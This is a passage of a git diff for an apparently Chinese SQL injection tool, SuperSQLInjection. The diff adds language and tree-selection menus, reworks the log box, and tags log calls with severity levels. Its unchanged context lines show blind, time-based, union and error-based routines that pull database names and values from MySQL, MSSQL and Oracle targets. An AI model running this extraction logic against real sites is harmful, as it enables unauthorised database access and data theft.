diff --git a/SuperSQLInjection/Main.Designer.cs b/SuperSQLInjection/Main.Designer.cs index f85a9cb..b0b75c5 100644 --- a/SuperSQLInjection/Main.Designer.cs +++ b/SuperSQLInjection/Main.Designer.cs @@ -57,6 +57,9 @@ this.tsmi_tools = new System.Windows.Forms.ToolStripMenuItem(); this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.tsmi_seting = new System.Windows.Forms.ToolStripMenuItem(); + this.tsmi_lang = new System.Windows.Forms.ToolStripMenuItem(); + this.tsmi_zh_cn = new System.Windows.Forms.ToolStripMenuItem(); + this.tsmi_en_us = new System.Windows.Forms.ToolStripMenuItem(); this.tsmi_help = new System.Windows.Forms.ToolStripMenuItem(); this.tsmi_readme = new System.Windows.Forms.ToolStripMenuItem(); this.tsmi_about = new System.Windows.Forms.ToolStripMenuItem(); @@ -65,7 +68,6 @@ this.版本ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.tsmi_bugReport = new System.Windows.Forms.ToolStripMenuItem(); this.gb_logo = new System.Windows.Forms.GroupBox(); - this.txt_log = new System.Windows.Forms.TextBox(); this.tab_logCenter = new System.Windows.Forms.TabPage(); this.splitContainer1 = new System.Windows.Forms.SplitContainer(); this.groupBox5 = new System.Windows.Forms.GroupBox(); @@ -296,6 +298,9 @@ this.lbl_packsCount = new System.Windows.Forms.ToolStripStatusLabel(); this.timer_status = new System.Windows.Forms.Timer(this.components); this.timer_scanInjection = new System.Windows.Forms.Timer(this.components); + this.data_dbs_tsmi_selectAllSubNode = new System.Windows.Forms.ToolStripMenuItem(); + this.data_dbs_tsmi_selectReversSubNode = new System.Windows.Forms.ToolStripMenuItem(); + this.txt_log = new System.Windows.Forms.RichTextBox(); this.gb_basic.SuspendLayout(); this.menuStrip_main.SuspendLayout(); this.gb_logo.SuspendLayout(); @@ -668,7 +673,8 @@ // toolStripMenuItem1 // this.toolStripMenuItem1.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.tsmi_seting}); + this.tsmi_seting, + this.tsmi_lang}); this.toolStripMenuItem1.Name = "toolStripMenuItem1"; this.toolStripMenuItem1.Size = new System.Drawing.Size(68, 21); this.toolStripMenuItem1.Text = "系统设置"; @@ -680,6 +686,29 @@ this.tsmi_seting.Text = "系统设置"; this.tsmi_seting.Click += new System.EventHandler(this.tsmi_seting_Click); // + // tsmi_lang + // + this.tsmi_lang.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.tsmi_zh_cn, + this.tsmi_en_us}); + this.tsmi_lang.Name = "tsmi_lang"; + this.tsmi_lang.Size = new System.Drawing.Size(124, 22); + this.tsmi_lang.Text = "语 言"; + // + // tsmi_zh_cn + // + this.tsmi_zh_cn.Checked = true; + this.tsmi_zh_cn.CheckState = System.Windows.Forms.CheckState.Checked; + this.tsmi_zh_cn.Name = "tsmi_zh_cn"; + this.tsmi_zh_cn.Size = new System.Drawing.Size(117, 22); + this.tsmi_zh_cn.Text = "中文"; + // + // tsmi_en_us + // + this.tsmi_en_us.Name = "tsmi_en_us"; + this.tsmi_en_us.Size = new System.Drawing.Size(117, 22); + this.tsmi_en_us.Text = "English"; + // // tsmi_help // this.tsmi_help.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { @@ -740,23 +769,13 @@ this.gb_logo.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.gb_logo.Controls.Add(this.txt_log); - this.gb_logo.Location = new System.Drawing.Point(8, 591); + this.gb_logo.Location = new System.Drawing.Point(8, 604); this.gb_logo.Name = "gb_logo"; - this.gb_logo.Size = new System.Drawing.Size(839, 87); + this.gb_logo.Size = new System.Drawing.Size(839, 122); this.gb_logo.TabIndex = 3; this.gb_logo.TabStop = false; this.gb_logo.Text = "日志"; // - // txt_log - // - this.txt_log.Dock = System.Windows.Forms.DockStyle.Fill; - this.txt_log.Location = new System.Drawing.Point(3, 17); - this.txt_log.Multiline = true; - this.txt_log.Name = "txt_log"; - this.txt_log.ScrollBars = System.Windows.Forms.ScrollBars.Both; - this.txt_log.Size = new System.Drawing.Size(833, 67); - this.txt_log.TabIndex = 3; - // // tab_logCenter // this.tab_logCenter.Controls.Add(this.splitContainer1); @@ -1261,9 +1280,11 @@ this.data_dbs_tsmi_stopGetInfos, this.data_dbs_tsmi_saveDTCStruct, this.data_dbs_tsmi_loadDTCStruct, - this.data_dbs_tsmi_clearDTCStruct}); + this.data_dbs_tsmi_clearDTCStruct, + this.data_dbs_tsmi_selectAllSubNode, + this.data_dbs_tsmi_selectReversSubNode}); this.data_cms_dbs.Name = "data_cms_getVariable"; - this.data_cms_dbs.Size = new System.Drawing.Size(161, 180); + this.data_cms_dbs.Size = new System.Drawing.Size(161, 224); // // data_dbs_tsmi_addDBS // @@ -1498,7 +1519,7 @@ this.tab_injectCenter.Location = new System.Drawing.Point(4, 23); this.tab_injectCenter.Name = "tab_injectCenter"; this.tab_injectCenter.Padding = new System.Windows.Forms.Padding(3); - this.tab_injectCenter.Size = new System.Drawing.Size(832, 440); + this.tab_injectCenter.Size = new System.Drawing.Size(832, 451); this.tab_injectCenter.TabIndex = 0; this.tab_injectCenter.Text = "注入中心"; this.tab_injectCenter.UseVisualStyleBackColor = true; @@ -1510,7 +1531,7 @@ this.groupBox1.Dock = System.Windows.Forms.DockStyle.Fill; this.groupBox1.Location = new System.Drawing.Point(3, 3); this.groupBox1.Name = "groupBox1"; - this.groupBox1.Size = new System.Drawing.Size(826, 434); + this.groupBox1.Size = new System.Drawing.Size(826, 445); this.groupBox1.TabIndex = 1; this.groupBox1.TabStop = false; // @@ -1525,7 +1546,7 @@ this.tabControl1.Location = new System.Drawing.Point(6, 13); this.tabControl1.Name = "tabControl1"; this.tabControl1.SelectedIndex = 0; - this.tabControl1.Size = new System.Drawing.Size(565, 415); + this.tabControl1.Size = new System.Drawing.Size(565, 426); this.tabControl1.TabIndex = 14; // // tab_datapack @@ -1534,7 +1555,7 @@ this.tab_datapack.Location = new System.Drawing.Point(4, 22); this.tab_datapack.Name = "tab_datapack"; this.tab_datapack.Padding = new System.Windows.Forms.Padding(3); - this.tab_datapack.Size = new System.Drawing.Size(557, 389); + this.tab_datapack.Size = new System.Drawing.Size(557, 400); this.tab_datapack.TabIndex = 0; this.tab_datapack.Text = "HTTP请求数据包"; this.tab_datapack.UseVisualStyleBackColor = true; @@ -1548,7 +1569,7 @@ this.txt_inject_request.Multiline = true; this.txt_inject_request.Name = "txt_inject_request"; this.txt_inject_request.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; - this.txt_inject_request.Size = new System.Drawing.Size(551, 383); + this.txt_inject_request.Size = new System.Drawing.Size(551, 394); this.txt_inject_request.TabIndex = 13; this.txt_inject_request.Text = resources.GetString("txt_inject_request.Text"); this.txt_inject_request.TextChanged += new System.EventHandler(this.txt_inject_request_TextChanged); @@ -1648,7 +1669,7 @@ // label36 // this.label36.AutoSize = true; - this.label36.Location = new System.Drawing.Point(226, 26); + this.label36.Location = new System.Drawing.Point(231, 43); this.label36.Name = "label36"; this.label36.Size = new System.Drawing.Size(65, 12); this.label36.TabIndex = 16; @@ -1657,7 +1678,7 @@ // label37 // this.label37.AutoSize = true; - this.label37.Location = new System.Drawing.Point(32, 26); + this.label37.Location = new System.Drawing.Point(20, 43); this.label37.Name = "label37"; this.label37.Size = new System.Drawing.Size(65, 12); this.label37.TabIndex = 16; @@ -1666,28 +1687,28 @@ // token_txt_endStr // this.token_txt_endStr.AcceptsReturn = true; - this.token_txt_endStr.Location = new System.Drawing.Point(297, 23); + this.token_txt_endStr.Location = new System.Drawing.Point(302, 40); this.token_txt_endStr.MaxLength = 100; this.token_txt_endStr.Name = "token_txt_endStr"; - this.token_txt_endStr.Size = new System.Drawing.Size(84, 21); + this.token_txt_endStr.Size = new System.Drawing.Size(122, 21); this.token_txt_endStr.TabIndex = 8; this.token_txt_endStr.TextChanged += new System.EventHandler(this.token_txt_endStr_TextChanged); // // token_txt_startStr // this.token_txt_startStr.AcceptsReturn = true; - this.token_txt_startStr.Location = new System.Drawing.Point(103, 23); + this.token_txt_startStr.Location = new System.Drawing.Point(91, 40); this.token_txt_startStr.MaxLength = 100; this.token_txt_startStr.Name = "token_txt_startStr"; - this.token_txt_startStr.Size = new System.Drawing.Size(84, 21); + this.token_txt_startStr.Size = new System.Drawing.Size(122, 21); this.token_txt_startStr.TabIndex = 8; this.token_txt_startStr.TextChanged += new System.EventHandler(this.token_txt_startStr_TextChanged); // // token_btn_testGetToken // - this.token_btn_testGetToken.Location = new System.Drawing.Point(429, 23); + this.token_btn_testGetToken.Location = new System.Drawing.Point(441, 38); this.token_btn_testGetToken.Name = "token_btn_testGetToken"; - this.token_btn_testGetToken.Size = new System.Drawing.Size(115, 23); + this.token_btn_testGetToken.Size = new System.Drawing.Size(92, 23); this.token_btn_testGetToken.TabIndex = 6; this.token_btn_testGetToken.Text = "测试抓取Token"; this.token_btn_testGetToken.UseVisualStyleBackColor = true; @@ -1719,6 +1740,8 @@ // // groupBox21 // + this.groupBox21.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); this.groupBox21.Controls.Add(this.label28); this.groupBox21.Location = new System.Drawing.Point(6, 306); this.groupBox21.Name = "groupBox21"; @@ -1734,12 +1757,14 @@ this.label28.Name = "label28"; this.label28.Size = new System.Drawing.Size(425, 12); this.label28.TabIndex = 9; - this.label28.Text = "此处可以放二次注入时第二次请求获取注入结果的页面,用与对付一些二次注入"; + this.label28.Text = "此处可以放二次注入时第二次请求获取注入结果的页面,用于对付一些二次注入"; // // txt_sencond_request // this.txt_sencond_request.AcceptsReturn = true; - this.txt_sencond_request.Dock = System.Windows.Forms.DockStyle.Top; + this.txt_sencond_request.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); this.txt_sencond_request.Location = new System.Drawing.Point(3, 17); this.txt_sencond_request.MaxLength = 65535; this.txt_sencond_request.Multiline = true; @@ -1769,7 +1794,7 @@ this.groupBox3.Controls.Add(this.btn_inject_setInject); this.groupBox3.Location = new System.Drawing.Point(577, 13); this.groupBox3.Name = "groupBox3"; - this.groupBox3.Size = new System.Drawing.Size(247, 415); + this.groupBox3.Size = new System.Drawing.Size(247, 426); this.groupBox3.TabIndex = 12; this.groupBox3.TabStop = false; this.groupBox3.Text = "注入设置"; @@ -1861,7 +1886,7 @@ this.groupBox15.Controls.Add(this.chk_inject_reverseKey); this.groupBox15.Location = new System.Drawing.Point(0, 257); this.groupBox15.Name = "groupBox15"; - this.groupBox15.Size = new System.Drawing.Size(249, 158); + this.groupBox15.Size = new System.Drawing.Size(249, 165); this.groupBox15.TabIndex = 14; this.groupBox15.TabStop = false; this.groupBox15.Text = "Bool盲注取数据配置"; @@ -2051,7 +2076,7 @@ this.mytab.Location = new System.Drawing.Point(9, 120); this.mytab.Name = "mytab"; this.mytab.SelectedIndex = 0; - this.mytab.Size = new System.Drawing.Size(840, 467); + this.mytab.Size = new System.Drawing.Size(840, 478); this.mytab.TabIndex = 1; // // tab_cmd @@ -3001,7 +3026,7 @@ this.status_lbl_all_status, this.toolStripStatusLabel11, this.lbl_packsCount}); - this.statusStrip1.Location = new System.Drawing.Point(0, 681); + this.statusStrip1.Location = new System.Drawing.Point(0, 729); this.statusStrip1.Name = "statusStrip1"; this.statusStrip1.Size = new System.Drawing.Size(860, 22); this.statusStrip1.TabIndex = 4; @@ -3120,11 +3145,36 @@ this.timer_scanInjection.Interval = 1000; this.timer_scanInjection.Tick += new System.EventHandler(this.timer_scanInjection_Tick); // + // data_dbs_tsmi_selectAllSubNode + // + this.data_dbs_tsmi_selectAllSubNode.Name = "data_dbs_tsmi_selectAllSubNode"; + this.data_dbs_tsmi_selectAllSubNode.Size = new System.Drawing.Size(160, 22); + this.data_dbs_tsmi_selectAllSubNode.Text = "全选子节点"; + this.data_dbs_tsmi_selectAllSubNode.Click += new System.EventHandler(this.data_dbs_tsmi_selectAllSubNode_Click); + // + // data_dbs_tsmi_selectReversSubNode + // + this.data_dbs_tsmi_selectReversSubNode.Name = "data_dbs_tsmi_selectReversSubNode"; + this.data_dbs_tsmi_selectReversSubNode.Size = new System.Drawing.Size(160, 22); + this.data_dbs_tsmi_selectReversSubNode.Text = "反选子节点"; + this.data_dbs_tsmi_selectReversSubNode.Click += new System.EventHandler(this.data_dbs_tsmi_selectReversSubNode_Click); + // + // txt_log + // + this.txt_log.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.txt_log.Dock = System.Windows.Forms.DockStyle.Fill; + this.txt_log.Location = new System.Drawing.Point(3, 17); + this.txt_log.Name = "txt_log"; + this.txt_log.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.ForcedVertical; + this.txt_log.Size = new System.Drawing.Size(833, 102); + this.txt_log.TabIndex = 0; + this.txt_log.Text = ""; + // // Main // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(860, 703); + this.ClientSize = new System.Drawing.Size(860, 751); this.Controls.Add(this.statusStrip1); this.Controls.Add(this.gb_logo); this.Controls.Add(this.mytab); @@ -3141,7 +3191,6 @@ this.menuStrip_main.ResumeLayout(false); this.menuStrip_main.PerformLayout(); this.gb_logo.ResumeLayout(false); - this.gb_logo.PerformLayout(); this.tab_logCenter.ResumeLayout(false); this.splitContainer1.Panel1.ResumeLayout(false); this.splitContainer1.Panel2.ResumeLayout(false); @@ -3254,7 +3303,6 @@ private System.Windows.Forms.Label label7; private System.Windows.Forms.ComboBox cbox_basic_injectType; private System.Windows.Forms.GroupBox gb_logo; - private System.Windows.Forms.TextBox txt_log; private System.Windows.Forms.TextBox txt_basic_port; private System.Windows.Forms.Label label2; private System.Windows.Forms.Button btn_autoInject; @@ -3503,6 +3551,12 @@ private System.Windows.Forms.CheckBox bypass_chk_use_unicode; private System.Windows.Forms.Label label31; private System.Windows.Forms.Label label32; + private System.Windows.Forms.ToolStripMenuItem tsmi_lang; + private System.Windows.Forms.ToolStripMenuItem tsmi_zh_cn; + private System.Windows.Forms.ToolStripMenuItem tsmi_en_us; + private System.Windows.Forms.ToolStripMenuItem data_dbs_tsmi_selectAllSubNode; + private System.Windows.Forms.ToolStripMenuItem data_dbs_tsmi_selectReversSubNode; + private System.Windows.Forms.RichTextBox txt_log; } } diff --git a/SuperSQLInjection/Main.cs b/SuperSQLInjection/Main.cs index 957b076..e39fcd5 100644 --- a/SuperSQLInjection/Main.cs +++ b/SuperSQLInjection/Main.cs @@ -16,8 +16,8 @@ using System.Web; using System.Net; using Amib.Threading; using System.Management; -using System.Runtime.InteropServices; using Microsoft.Win32; +using System.Drawing; namespace SuperSQLInjection { @@ -54,12 +54,8 @@ namespace SuperSQLInjection public int injectionURLCount = 0;//注入URL数 - delegate void showLogDelegate(String log); + private SmartThreadPool stp = new SmartThreadPool(); - public void showLog(String log) - { - this.txt_log.AppendText(log + "\r\n"); - } public void sendRequestAndShowResponse() { @@ -130,7 +126,7 @@ namespace SuperSQLInjection { Tools.SysLog("加载配置发生错误!" + ex.Message); } - this.Invoke(new StringDelegate(log), "自动加载上次配置成功!"); + this.Invoke(new showLogDelegate(log), "自动加载上次配置成功!",LogLevel.success); InjectionTools.addErrorCode(); //读取模板 List templates = FileTool.readAllDic("/config/template/"); @@ -220,7 +216,7 @@ namespace SuperSQLInjection return sid; } - public static int version = 20181114; + public static int version = 20181117; public static string versionURL = "http://www.shack2.org/soft/getNewVersion?ENNAME=SSuperSQLInjection&NO=" + URLEncode.UrlEncode(getSid()) + "&VERSION=" + version; //检查更新 public void checkUpdate() @@ -385,7 +381,7 @@ namespace SuperSQLInjection if (this.cbox_basic_injectType.SelectedIndex == 0 && this.txt_inject_key.Text == "") { - MessageBox.Show("盲注需要设置关键字,这个关键字呢,就是正常时(and 1=1)存在的字符,而不正常时(and 1=2)不存在的字符!"); + MessageBox.Show("盲注需要设置判断值,这个判断值呢,就是正常时(and 1=1)存在的情况,而不正常时(and 1=2)不存在的情况!"); return false; } @@ -505,7 +501,7 @@ namespace SuperSQLInjection catch (Exception e) { - this.Invoke(new StringDelegate(log), "发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "发生异常:" + e.Message, LogLevel.error); } return ""; @@ -538,7 +534,7 @@ namespace SuperSQLInjection catch (Exception e) { - this.Invoke(new StringDelegate(log), "发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "发生异常:" + e.Message, LogLevel.error); } return ""; @@ -564,7 +560,7 @@ namespace SuperSQLInjection catch (Exception e) { - this.Invoke(new StringDelegate(log), "发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "发生异常:" + e.Message, LogLevel.error); } return ""; @@ -939,7 +935,7 @@ namespace SuperSQLInjection String[] vs = vers.ToString().Split(':'); String payload_len = MySQL5.ver_length.Replace("{data}", vs[1]); int len = getValueByStepUp(payload_len, 0, 10); - this.Invoke(new StringDelegate(log), vs[0] + "长度为-----:" + len); + this.Invoke(new showLogDelegate(log), vs[0] + "长度为-----:" + len, LogLevel.info); String va_payload = MySQL5.ver_value.Replace("{data}", vs[1]); String value = ""; //获取值 @@ -949,14 +945,14 @@ namespace SuperSQLInjection int ascii = getValue(tmp_va_payload, 32, 126); value += ((char)ascii).ToString(); } - this.Invoke(new StringDelegate(log), vs[0] + "值为-----:" + value); + this.Invoke(new showLogDelegate(log), vs[0] + "值为-----:" + value, LogLevel.info); this.Invoke(new setVariableDelegate(setVariable), vs[0], value); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message, LogLevel.error); } Interlocked.Increment(ref this.currentDataCount); } @@ -970,7 +966,7 @@ namespace SuperSQLInjection String payload_len = MySQL5.getBoolCountBySleep(MySQL5.bool_length, config.maxTime).Replace("{data}", vs[1]); int len = getValueByStepUp(payload_len, 0, 10); - this.Invoke(new StringDelegate(log), vs[0] + "长度为-----:" + len); + this.Invoke(new showLogDelegate(log), vs[0] + "长度为-----:" + len, LogLevel.info); String va_payload = MySQL5.getBoolCountBySleep(MySQL5.bool_value, config.maxTime).Replace("{data}", vs[1]); String value = ""; //获取值 @@ -980,14 +976,14 @@ namespace SuperSQLInjection int ascii = getValue(tmp_va_payload, 32, 126); value += ((char)ascii).ToString(); } - this.Invoke(new StringDelegate(log), vs[0] + "值为-----:" + value); + this.Invoke(new showLogDelegate(log), vs[0] + "值为-----:" + value, LogLevel.info); this.Invoke(new setVariableDelegate(setVariable), vs[0], value); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message, LogLevel.error); } Interlocked.Increment(ref this.currentDataCount); @@ -1005,7 +1001,7 @@ namespace SuperSQLInjection //判断变量长度 String payload_len = MSSQL.getBoolCountBySleep(MSSQL.bool_length, config.maxTime).Replace("{data}", vs[1]); int len = getValueByStepUp(payload_len, 0, 10); - this.Invoke(new StringDelegate(log), vs[0] + "长度为-----:" + len); + this.Invoke(new showLogDelegate(log), vs[0] + "长度为-----:" + len, LogLevel.info); String va_payload = MSSQL.getBoolCountBySleep(MSSQL.bool_value, config.maxTime).Replace("{data}", vs[1]); String value = ""; //获取值 @@ -1019,13 +1015,13 @@ namespace SuperSQLInjection value += Tools.unHexByUnicode(unicode, config.db_encoding); //设置值,这里由于是unicode值,需要转换 } - this.Invoke(new StringDelegate(log), vs[0] + "值为-----:" + value); + this.Invoke(new showLogDelegate(log), vs[0] + "值为-----:" + value,LogLevel.info); this.Invoke(new setVariableDelegate(setVariable), vs[0], value); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message,LogLevel.error); } Interlocked.Increment(ref this.currentDataCount); } @@ -1040,7 +1036,7 @@ namespace SuperSQLInjection String[] vs = vers.ToString().Split(':'); //判断变量长度 int len = getValueByStepUp(MSSQL.bool_length.Replace("{data}", vs[1]), 0, 10); - this.Invoke(new StringDelegate(log), vs[0] + "长度为-----:" + len); + this.Invoke(new showLogDelegate(log), vs[0] + "长度为-----:" + len,LogLevel.info); String value = ""; //获取值 for (int i = 1; i <= len; i++) @@ -1054,13 +1050,13 @@ namespace SuperSQLInjection value += Tools.unHexByUnicode(unicode, config.db_encoding); //设置值,这里由于是unicode值,需要转换 } - this.Invoke(new StringDelegate(log), vs[0] + "值为-----:" + value); + this.Invoke(new showLogDelegate(log), vs[0] + "值为-----:" + value, LogLevel.info); this.Invoke(new setVariableDelegate(setVariable), vs[0], value); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message, LogLevel.error); } Interlocked.Increment(ref this.currentDataCount); } @@ -1077,7 +1073,7 @@ namespace SuperSQLInjection String[] vs = vers.ToString().Split(':'); //判断变量长度 int len = getValueByStepUp(Oracle.bool_length.Replace("{data}", vs[1]), 0, 10); - this.Invoke(new StringDelegate(log), vs[0] + "长度为-----:" + len); + this.Invoke(new showLogDelegate(log), vs[0] + "长度为-----:" + len, LogLevel.info); String va_payload = Oracle.bool_value.Replace("{data}", vs[1]); String value = ""; @@ -1088,14 +1084,14 @@ namespace SuperSQLInjection int ascii = getValue(dp, 32, 126); value += (char)ascii; } - this.Invoke(new StringDelegate(log), vs[0] + "值为-----:" + value); + this.Invoke(new showLogDelegate(log), vs[0] + "值为-----:" + value, LogLevel.info); this.Invoke(new setVariableDelegate(setVariable), vs[0], value); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message, LogLevel.error); } Interlocked.Increment(ref this.currentDataCount); } @@ -1146,7 +1142,7 @@ namespace SuperSQLInjection //判断当前数据库长度限制1-50 int len = getValue(payload_len, 1, 50); - this.Invoke(new StringDelegate(log), "数据库" + (db_index + 1) + "长度为-----:" + len); + this.Invoke(new showLogDelegate(log), "数据库" + (db_index + 1) + "长度为-----:" + len, LogLevel.info); //判断当前数据库对应的ascii码 String va_payload = MySQL5.ver_value.Replace("{data}", MySQL5.db_value.Replace("{index}", oindex.ToString())); @@ -1167,14 +1163,14 @@ namespace SuperSQLInjection int ascii = getValue(tmp_va_payload, 32, 126); value += ((char)ascii).ToString(); } - this.Invoke(new StringDelegate(log), "数据库" + db_index + "的名称为:" + value); + this.Invoke(new showLogDelegate(log), "数据库" + db_index + "的名称为:" + value,LogLevel.info); this.Invoke(new addDBToTreeListDelegate(addDBToTreeList), value); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取数据库名称时发生异常:" + e.Message, LogLevel.error); } Interlocked.Increment(ref this.currentDbsCount); } @@ -1193,7 +1189,7 @@ namespace SuperSQLInjection String data_payload = MSSQL.db_value.Replace("{index}", db_index.ToString()); int len = getValueByStepUp(MSSQL.bool_length.Replace("{data}", data_payload), 0, 10); - this.Invoke(new StringDelegate(log), "数据库" + db_index + "长度为-----:" + len); + this.Invoke(new showLogDelegate(log), "数据库" + db_index + "长度为-----:" + len,LogLevel.info); //判断当前数据库对应的ascii码 String va_payload = MSSQL.bool_value.Replace("{data}", MSSQL.db_value.Replace("{index}", oindex.ToString())); @@ -1224,14 +1220,14 @@ namespace SuperSQLInjection } } } - this.Invoke(new StringDelegate(log), "数据库" + db_index + "的名称为:" + value); + this.Invoke(new showLogDelegate(log), "数据库" + db_index + "的名称为:" + value,LogLevel.info); this.Invoke(new addDBToTreeListDelegate(addDBToTreeList), value); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取数据库名称时发生异常:" + e.Message, LogLevel.error); } Interlocked.Increment(ref this.currentDbsCount); } @@ -1249,7 +1245,7 @@ namespace SuperSQLInjection String data_payload = MSSQL.db_value.Replace("{index}", db_index.ToString()); int len = getValueByStepUp(MSSQL.getBoolCountBySleep(MSSQL.bool_length.Replace("{data}", data_payload), config.maxTime), 0, 10); - this.Invoke(new StringDelegate(log), "数据库" + db_index + "长度为-----:" + len); + this.Invoke(new showLogDelegate(log), "数据库" + db_index + "长度为-----:" + len, LogLevel.info); String value = ""; //获取值 @@ -1289,14 +1285,14 @@ namespace SuperSQLInjection value += (char)Tools.convertToInt(unicodes.ToString()); } } - this.Invoke(new StringDelegate(log), "数据库" + db_index + "的名称为:" + value); + this.Invoke(new showLogDelegate(log), "数据库" + db_index + "的名称为:" + value, LogLevel.info); this.Invoke(new addDBToTreeListDelegate(addDBToTreeList), value); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取数据库名称时发生异常:" + e.Message, LogLevel.error); } Interlocked.Increment(ref this.currentDbsCount); } @@ -1315,7 +1311,7 @@ namespace SuperSQLInjection //判断当前数据库长度限制1-50 int len = getValue(payload_len, 1, 50); - this.Invoke(new StringDelegate(log), "数据库" + (db_index + 1) + "长度为-----:" + len); + this.Invoke(new showLogDelegate(log), "数据库" + (db_index + 1) + "长度为-----:" + len,LogLevel.info); //判断当前数据库对应的ascii码 String va_payload = Oracle.bool_value.Replace("{data}", Oracle.db_value.Replace("{index}", oindex.ToString())); @@ -1332,14 +1328,14 @@ namespace SuperSQLInjection int ascii = getValue(tmp_va_payload, 32, 126); value += ((char)ascii).ToString(); } - this.Invoke(new StringDelegate(log), "数据库" + db_index + "的名称为:" + value); + this.Invoke(new showLogDelegate(log), "数据库" + db_index + "的名称为:" + value,LogLevel.info); this.Invoke(new addDBToTreeListDelegate(addDBToTreeList), value); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取数据库名称时发生异常:" + e.Message, LogLevel.error); } Interlocked.Increment(ref this.currentDbsCount); } @@ -1358,13 +1354,13 @@ namespace SuperSQLInjection data_list.Add(MySQL5.db_value.Replace("{index}", oindex.ToString())); String db_Name_data = MySQL5.creatMySQLColumnsStrByUnion(config.columnsCount, config.showColumn, config.unionFill, data_list, null, null, -1); String result = getOneDataByUnionOrError(MySQL5.union_value.Replace("{data}", db_Name_data)); - this.Invoke(new StringDelegate(log), "数据库" + oindex + "的名称为:" + result); + this.Invoke(new showLogDelegate(log), "数据库" + oindex + "的名称为:" + result,LogLevel.info); this.Invoke(new addDBToTreeListDelegate(addDBToTreeList), result); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取数据库名称时发生异常:" + e.Message, LogLevel.error); } Interlocked.Increment(ref this.currentDbsCount); } @@ -1379,13 +1375,13 @@ namespace SuperSQLInjection { //获取数据库数量 String result = getOneDataByUnionOrError(MSSQL.getUnionDataValue(config.columnsCount, config.showColumn, config.unionFill, MSSQL.db_value, "", "", oindex.ToString())); - this.Invoke(new StringDelegate(log), "数据库" + oindex + "的名称为:" + result); + this.Invoke(new showLogDelegate(log), "数据库" + oindex + "的名称为:" + result, LogLevel.info); this.Invoke(new addDBToTreeListDelegate(addDBToTreeList), result); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取数据库名称时发生异常:" + e.Message, LogLevel.error); } Interlocked.Increment(ref this.currentDbsCount); } @@ -1400,13 +1396,13 @@ namespace SuperSQLInjection { //获取数据库数量 String result = getOneDataByUnionOrError(Oracle.getUnionDataValue(config.columnsCount, config.showColumn, Oracle.db_value, "", "", oindex.ToString())); - this.Invoke(new StringDelegate(log), "数据库" + oindex + "的名称为:" + result); + this.Invoke(new showLogDelegate(log), "数据库" + oindex + "的名称为:" + result, LogLevel.info); this.Invoke(new addDBToTreeListDelegate(addDBToTreeList), result); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取数据库名称时发生异常:" + e.Message, LogLevel.error); } Interlocked.Increment(ref this.currentDbsCount); } @@ -1424,13 +1420,13 @@ namespace SuperSQLInjection data_list.Add(MySQL5.db_value.Replace("{index}", oindex.ToString())); String db_Name_data = MySQL5.creatMySQLColumnsStrByError(data_list, null, null, -1); String result = getOneDataByUnionOrError(MySQL5.error_value.Replace("{data}", db_Name_data)); - this.Invoke(new StringDelegate(log), "数据库" + oindex + "的名称为:" + result); + this.Invoke(new showLogDelegate(log), "数据库" + oindex + "的名称为:" + result, LogLevel.info); this.Invoke(new addDBToTreeListDelegate(addDBToTreeList), result); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取数据库名称时发生异常:" + e.Message, LogLevel.info); } Interlocked.Increment(ref this.currentDbsCount); } @@ -1446,13 +1442,13 @@ namespace SuperSQLInjection String result = getOneDataByUnionOrError(MSSQL.error_value.Replace("{data}", MSSQL.db_value.Replace("{index}", oindex.ToString()))); //HTML解码 result = HttpUtility.HtmlDecode(result); - this.Invoke(new StringDelegate(log), "数据库" + 